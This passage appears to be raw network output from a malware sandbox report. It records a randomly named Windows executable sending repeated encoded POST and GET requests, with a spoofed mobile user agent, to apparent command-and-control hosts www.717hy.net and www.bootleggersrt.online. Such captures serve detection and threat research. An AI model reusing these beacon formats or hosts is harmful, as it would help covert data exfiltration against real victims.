Dec 3, 2024 14:39:13.325939894 CET	1236	IN	Data Raw: 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 Data Ascii: p:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4537" d="m 87.0625,123.03748 c 2.916637,10.42937 5.833458,20.8594 7.291964,26.66356 1.458505,5.80416 1.458505,6.98257 2.402021,11.11052 0.9435
Dec 3, 2024 14:39:13.326571941 CET	672	IN	Data Raw: 39 35 35 34 30 37 2c 32 30 2e 31 34 32 31 38 20 2d 35 2e 30 37 34 39 37 35 2c 32 36 2e 30 33 34 38 33 20 2d 31 2e 31 31 39 35 36 38 2c 35 2e 38 39 32 36 34 20 2d 31 2e 35 39 30 39 32 2c 37 2e 37 37 38 30 35 20 2d 31 2e 38 38 35 37 30 38 2c 31 30 Data Ascii: 955407,20.14218 -5.074975,26.03483 -1.119568,5.89264 -1.59092,7.77805 -1.885708,10.07706 -0.294789,2.29901 -0.412567,5.0079 5.1e-5,17.56339 0.412617,12.55548 1.355064,34.93859 2.474996,54.74239 1.119932,19.80379 2.415574,37.00049 3.712005,54.2
Dec 3, 2024 14:39:13.326729059 CET	1236	IN	Data Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Dec 3, 2024 14:39:13.447828054 CET	1236	IN	Data Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49946	68.66.226.92	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:19.361783028 CET	794	OUT	POST /ffyl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.717hy.net Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.717hy.net Referer: http://www.717hy.net/ffyl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4a 32 59 57 70 4f 30 79 54 30 6c 67 38 55 42 48 47 6d 62 44 61 4d 31 4f 65 70 2f 55 6a 30 54 34 50 35 68 49 6f 41 6f 64 30 69 35 7a 34 4e 52 75 62 5a 79 67 71 6c 39 5a 78 54 34 56 45 64 64 5a 58 48 57 4a 6f 48 30 62 55 67 73 65 55 65 39 74 4a 62 45 58 6a 48 6c 7a 63 79 32 78 4d 36 34 70 4e 55 78 64 39 5a 43 58 45 58 7a 42 7a 44 6f 56 49 46 79 6d 49 68 75 76 58 62 67 64 44 6b 48 70 78 56 32 66 77 67 66 6b 6c 49 4a 51 6e 75 30 68 74 4f 62 48 6a 34 47 78 63 58 78 64 6e 55 76 76 75 7a 44 68 2b 32 75 50 2b 4a 58 49 6a 4e 44 41 38 41 68 61 75 51 71 59 63 79 45 73 57 59 44 43 31 2b 63 6e 56 30 38 66 2f 4c 4f 55 Data Ascii: u6nP_F48=J2YWpO0yT0lg8UBHGmbDaM1Oep/Uj0T4P5hIoAod0i5z4NRubZygql9ZxT4VEddZXHWJoH0bUgseUe9tJbEXjHlzcy2xM64pNUxd9ZCXEXzBzDoVIFymIhuvXbgdDkHpxV2fwgfklIJQnu0htObHj4GxcXxdnUvvuzDh+2uP+JXIjNDA8AhauQqYcyEsWYDC1+cnV08f/LOU
Dec 3, 2024 14:39:20.606991053 CET	1159	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 03 Dec 2024 13:39:20 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49953	68.66.226.92	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:22.028326988 CET	818	OUT	POST /ffyl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.717hy.net Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.717hy.net Referer: http://www.717hy.net/ffyl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4a 32 59 57 70 4f 30 79 54 30 6c 67 7a 56 78 48 4b 6c 7a 44 57 38 31 50 43 35 2f 55 70 55 53 2f 50 35 6c 49 6f 42 39 57 30 32 56 7a 34 6f 39 75 61 62 61 67 72 6c 39 5a 37 7a 34 51 4a 39 64 43 58 48 61 76 6f 47 49 62 55 67 6f 65 55 62 42 74 4f 73 59 55 78 6e 6c 78 56 53 32 33 44 61 34 70 4e 55 78 64 39 5a 58 38 45 55 44 42 7a 7a 59 56 4f 67 65 6c 57 52 75 6f 41 72 67 64 48 6b 48 74 78 56 32 39 77 69 72 4f 6c 4e 56 51 6e 76 6b 68 73 66 62 45 6f 34 47 37 53 33 77 36 32 6b 79 62 72 6c 58 6a 39 6c 6d 4b 6a 36 76 4e 6d 37 65 61 67 7a 68 35 38 41 4b 61 63 77 63 65 57 34 44 6f 33 2b 6b 6e 48 6a 77 34 77 2f 72 33 74 75 54 70 44 53 71 33 4f 69 73 68 65 4a 78 4f 43 48 5a 77 5a 77 3d 3d Data Ascii: u6nP_F48=J2YWpO0yT0lgzVxHKlzDW81PC5/UpUS/P5lIoB9W02Vz4o9uabagrl9Z7z4QJ9dCXHavoGIbUgoeUbBtOsYUxnlxVS23Da4pNUxd9ZX8EUDBzzYVOgelWRuoArgdHkHtxV29wirOlNVQnvkhsfbEo4G7S3w62kybrlXj9lmKj6vNm7eagzh58AKacwceW4Do3+knHjw4w/r3tuTpDSq3OisheJxOCHZwZw==
Dec 3, 2024 14:39:23.282828093 CET	1159	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 03 Dec 2024 13:39:23 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49960	68.66.226.92	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:24.702032089 CET	1831	OUT	POST /ffyl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.717hy.net Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.717hy.net Referer: http://www.717hy.net/ffyl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4a 32 59 57 70 4f 30 79 54 30 6c 67 7a 56 78 48 4b 6c 7a 44 57 38 31 50 43 35 2f 55 70 55 53 2f 50 35 6c 49 6f 42 39 57 30 32 64 7a 34 2b 70 75 59 36 61 67 35 31 39 5a 6c 6a 34 52 4a 39 63 43 58 48 53 72 6f 47 45 4c 55 6a 41 65 46 4f 4e 74 50 64 59 55 6f 58 6c 78 4b 43 32 79 4d 36 34 47 4e 55 68 6a 39 5a 48 38 45 55 44 42 7a 31 38 56 4f 31 79 6c 55 52 75 76 58 62 67 76 44 6b 47 4b 78 56 50 43 77 69 2f 30 6b 35 5a 51 6e 4f 55 68 76 74 7a 45 72 59 47 31 56 33 77 69 32 6b 2b 45 72 68 32 63 39 6d 36 73 6a 35 7a 4e 6d 4e 4b 41 79 53 42 68 6a 43 43 58 64 48 30 33 65 2f 44 6d 2f 4f 59 4b 45 68 45 4e 6f 2b 6a 55 72 4c 50 6b 4b 53 2f 75 42 6b 63 37 41 76 4a 63 4c 56 4d 73 4c 53 70 39 44 78 42 4c 71 6c 4e 34 6b 53 39 61 6e 50 49 43 61 50 51 69 35 61 36 35 74 36 42 68 4b 5a 59 39 6e 55 68 56 57 6c 53 56 72 32 75 70 79 51 61 51 54 45 61 42 30 58 6d 75 43 6c 7a 67 69 6e 56 75 76 44 46 65 52 31 4d 73 44 70 42 4b 70 67 6e 4b 68 50 48 53 42 75 78 48 33 36 6b 6e 6e 55 36 75 71 34 47 66 70 [TRUNCATED] Data Ascii: u6nP_F48=J2YWpO0yT0lgzVxHKlzDW81PC5/UpUS/P5lIoB9W02dz4+puY6ag519Zlj4RJ9cCXHSroGELUjAeFONtPdYUoXlxKC2yM64GNUhj9ZH8EUDBz18VO1ylURuvXbgvDkGKxVPCwi/0k5ZQnOUhvtzErYG1V3wi2k+Erh2c9m6sj5zNmNKAySBhjCCXdH03e/Dm/OYKEhENo+jUrLPkKS/uBkc7AvJcLVMsLSp9DxBLqlN4kS9anPICaPQi5a65t6BhKZY9nUhVWlSVr2upyQaQTEaB0XmuClzginVuvDFeR1MsDpBKpgnKhPHSBuxH36knnU6uq4GfpXDEptQggHgS5y8sZp6jU4IWWMuWX7d1bCKw8FIjYLW5dWLQwZAkUQxOmI4oAJPbgzwek0eHrfB11TX67gLUlyZD/8KDU9UX6xeLcOBgjo0+tKN3rZVRKLvQdFcDdi/b5VHdUkTHbTYmCVJTzme9nE+3tG6X/kAOtnR1hEgYWptcKiRyu/Xf1k071gSi2r2DjXSCytUkkuGtiPOd2nvD/Ii2pyfmGfGtfu3x+wSFE4wu6/lQwDn4qIyc9vm3NfqvPFdUAfKbQDYyER2ew9u8J0Pj3+0UJNLv4an63vz5lzCrrZzCTtbUgvF5rbdeJIFb5rLv36vv2PT2tbp8t39nkZp0XHl6H8D54Aw07KRpIMwX+7pJANZiCyVPUbXk3msNzNq4t+0JpftluU0vDyyq0umD5DMgRStkzh58QVZzPlin+zsRRAGuJVhJ+eS+/CTApF79m6g/2MaDNg73KbKnIZnl95yf1ePo228k9Td1CvXkVKVmwntvEhMJXGs3wWB33PdA5C7XYJKyE3FDIDtwPqCSPlWbHVb98CZDyZSLGx1i69AQEwHBbKELuuaTD9SkaFfXqpP/CQ3RGTVsLQy/aezjk5hcM4QB0bf9aL6u9SxlfabP6s6pT72AphvYYHvCN83A/wnubOjZ6C2B2qHmHmCz8LYjl3nUnaZ [TRUNCATED]
Dec 3, 2024 14:39:25.939481020 CET	1159	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 03 Dec 2024 13:39:25 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49965	68.66.226.92	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:27.373379946 CET	549	OUT	GET /ffyl/?u6nP_F48=E0w2q4MWRkFX7XJTCFHtBeMrFLWo0m25Rc1Iug5umE0SqvxIQJbSqlJsxR0jPeALC0qf+EILQRQVRMVyHOYHvE1WYG6fPKkQNyF776m1LEnS8hs9By21ThuVAZMLKVLgjh2k5HE=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.717hy.net Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:39:28.655323982 CET	1159	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 03 Dec 2024 13:39:28 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49981	31.31.196.17	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:34.462908983 CET	827	OUT	POST /7a5n/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.bootleggersrt.online Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.bootleggersrt.online Referer: http://www.bootleggersrt.online/7a5n/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 66 34 36 6e 46 78 6e 68 55 54 53 52 71 57 57 2b 63 77 31 42 44 38 79 6f 59 31 4d 77 4e 56 4b 78 51 37 66 75 61 6a 37 4c 57 45 61 6c 50 55 32 4b 2b 35 4b 54 51 4d 38 56 64 58 71 66 36 51 75 78 63 46 4c 30 49 4a 50 6a 68 47 43 39 43 6c 55 68 33 35 76 75 48 4a 34 76 4d 4e 68 47 64 2f 45 6b 4b 41 5a 57 54 70 50 53 54 52 4e 69 4e 6e 33 63 5a 77 4a 39 38 30 50 77 4a 72 66 5a 47 66 70 7a 73 2f 37 4c 46 50 65 74 69 43 55 53 43 54 76 75 6d 36 32 73 79 77 43 75 37 67 67 4c 51 76 52 6c 73 4f 37 4a 33 52 42 36 79 4f 4e 46 65 49 34 45 4e 55 47 56 67 50 38 46 65 2f 50 46 5a 49 72 43 75 45 66 78 55 73 55 61 48 55 30 4c Data Ascii: u6nP_F48=f46nFxnhUTSRqWW+cw1BD8yoY1MwNVKxQ7fuaj7LWEalPU2K+5KTQM8VdXqf6QuxcFL0IJPjhGC9ClUh35vuHJ4vMNhGd/EkKAZWTpPSTRNiNn3cZwJ980PwJrfZGfpzs/7LFPetiCUSCTvum62sywCu7ggLQvRlsO7J3RB6yONFeI4ENUGVgP8Fe/PFZIrCuEfxUsUaHU0L
Dec 3, 2024 14:39:35.822945118 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:39:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49987	31.31.196.17	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:37.125868082 CET	851	OUT	POST /7a5n/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.bootleggersrt.online Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.bootleggersrt.online Referer: http://www.bootleggersrt.online/7a5n/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 66 34 36 6e 46 78 6e 68 55 54 53 52 72 7a 47 2b 66 54 64 42 47 63 79 6e 42 46 4d 77 48 31 4b 31 51 37 54 75 61 69 50 62 57 32 2b 6c 4f 32 65 4b 2f 37 75 54 52 4d 38 56 57 33 71 61 33 77 75 71 63 46 48 38 49 4d 33 6a 68 48 6d 39 43 68 51 68 33 4b 48 78 56 70 34 70 4e 39 68 41 53 66 45 6b 4b 41 5a 57 54 74 6e 34 54 56 5a 69 4e 58 48 63 61 53 78 2b 2f 30 50 33 5a 37 66 5a 58 50 6f 36 73 2f 36 73 46 4f 53 4c 69 48 59 53 43 53 66 75 6d 72 32 76 6f 67 43 73 6d 77 68 6a 42 36 4e 67 6a 74 61 7a 72 51 52 63 73 76 52 32 57 65 6c 65 52 6e 47 32 79 66 63 48 65 39 58 33 5a 6f 72 6f 73 45 6e 78 47 37 59 39 49 67 52 6f 30 78 56 42 47 4f 77 6e 67 46 7a 5a 2b 72 34 79 47 57 56 51 63 67 3d 3d Data Ascii: u6nP_F48=f46nFxnhUTSRrzG+fTdBGcynBFMwH1K1Q7TuaiPbW2+lO2eK/7uTRM8VW3qa3wuqcFH8IM3jhHm9ChQh3KHxVp4pN9hASfEkKAZWTtn4TVZiNXHcaSx+/0P3Z7fZXPo6s/6sFOSLiHYSCSfumr2vogCsmwhjB6NgjtazrQRcsvR2WeleRnG2yfcHe9X3ZorosEnxG7Y9IgRo0xVBGOwngFzZ+r4yGWVQcg==
